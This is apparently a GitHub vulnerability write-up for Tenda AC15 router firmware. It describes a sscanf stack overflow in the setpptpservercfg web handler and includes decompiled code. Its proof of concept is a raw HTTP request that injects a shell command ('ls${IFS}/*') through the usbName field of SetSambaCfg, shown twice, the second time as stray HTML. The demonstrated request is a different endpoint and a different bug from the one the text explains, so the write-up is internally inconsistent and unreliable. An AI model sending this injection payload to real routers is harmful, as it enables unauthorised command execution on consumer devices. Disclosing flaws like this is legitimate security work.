

 main ▾

...

TendaAC15\_vul / TendaAC15-vul.md



doudoudedi Update TendaAC15-vul.md

 History

 1 contributor

 43 lines (24 sloc) | 1.68 KB

...

```
---
title: TendaAC15_vul
date: 2022-03-31 17:31:30
tags: CVE
---
```

# TendaAC15\_Vul

## Vender

Tenda

Official website : <https://www.tendacn.com/>

link.: <https://www.tendacn.com/download/detail-3851.html>

name: US\_AC15V1.0BR\_V15.03.05.20\_multi\_TDE01.bin

## Vulnerability1

Detail

The stack overflow vulnerability lies in the /goform/setpptpservercfg interface of the web. The sent post data startip and endip are copied to the stack using the scanf function, resulting in stack overflow. Similarly, this vulnerability can be used together with CVE-2021-44971

```
{
    v1 = strcmp(v5, "0");
    if ( !v1 )
        v1 = bcm_nvram_set("inet_gro_disable", "0");
}
else
{
    if ( strcmp(v30, "1") )
    {
        v31 = 1;
        goto LABEL_20;
    }
    if ( !*v27 || !*v26 )
    {
        v31 = 1;
        goto LABEL_20;
    }
    if ( sscanf(v27, "%[^.].%[^.].%[^.].%s", &v19, &v20, &v21, &v22) != 4
        || sscanf(v26, "%[^.].%[^.].%[^.].%s", &v15, &v16, &v17, &v18) != 4 )
    {
        v31 = 1;
        goto LABEL_20;
    }
    sprintf(&s, "%s.%s.%s.%s", &v19, &v20, &v21, "0");
    sprintf(&v24, "%s.%s.%s.%s", &v19, &v20, &v21, "1");
    sprintf(&v23, "%s-%s", v27, &v18);
    SetValue("vpn.ser.pptpdEnable", v30);
    SetValue("vpn.ser.pptpdmppe", v29);
    SetValue("vpn.ser.pptpdmppe.op", v28);
    SetValue("vpn.ser.pptpdnetseg", &s);
    SetValue("vpn.ser.pptpserver", &v24);
    SetValue("vpn.ser.pptpipcli", &v23);
    sub_B7C64(&v24, "255.255.255.0", 3);
    sub_B8098(0);
    v1 = bcm_nvram_set("inet_gro_disable", "1");
}
if ( CommitCfm(v1) )
{
    memset(&v4, 0, 0x100u);
}
```



stack\_overflow

Therefore, adding a string of useless characters after startip and endip in the sent postData can cause the web end to crash



1 POST /goform/SetSambaCfg?reasy-ui-1.0.3.js HTTP/1.1	1 HTTP/1.0 200 OK
2 Host: 10.10.10.1	2
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0	3 { "errCode":0 }
4 Accept: /*/*	
5 Accept-Language: en-US,en;q=0.5	
6 Accept-Encoding: gzip, deflate	
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8	
8 X-Requested-With: XMLHttpRequest	
9 Content-Length: 103	
0 Origin: http://10.10.10.1	
1 Connection: close	
2 Referer: http://10.10.10.1/upnp_config.html?random=0.3833222453059574&	
3	
4 SetSambaCfg=1&premitEn=1&internetPort=1&usbName=;ls\${IFS}/*;& guestpwd=doudou&guestuser=doudou&action=del	

Request	Response
<div> <div> Pretty Raw Hex </div> <div> <pre> 1 POST /goform/SetSambaCfg?img/main-logo.png HTTP/1.1 2 Host: 10.10.10.1 3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0)   Gecko/20100101 Firefox/95.0 4 Accept: /*/* 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate 7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 8 X-Requested-With: XMLHttpRequest 9 Content-Length: 103 10 Origin: http://10.10.10.1 11 Connection: close 12 Referer:   http://10.10.10.1/upnp_config.html?random=0.3833222453059574&amp; 13 14 SetSambaCfg=1&amp;premitEn=1&amp;internetPort=1&amp;usbName=;ls\${IFS}/*;&amp;   guestpwd=doudou&amp;guestuser=doudou&amp;action=del </pre> </div> </div>	<div> <div> Pretty Raw Hex Render </div> <div> <pre> 1 HTTP/1.0 200 OK 2 3 {   "errCode":0 } </pre> </div> </div>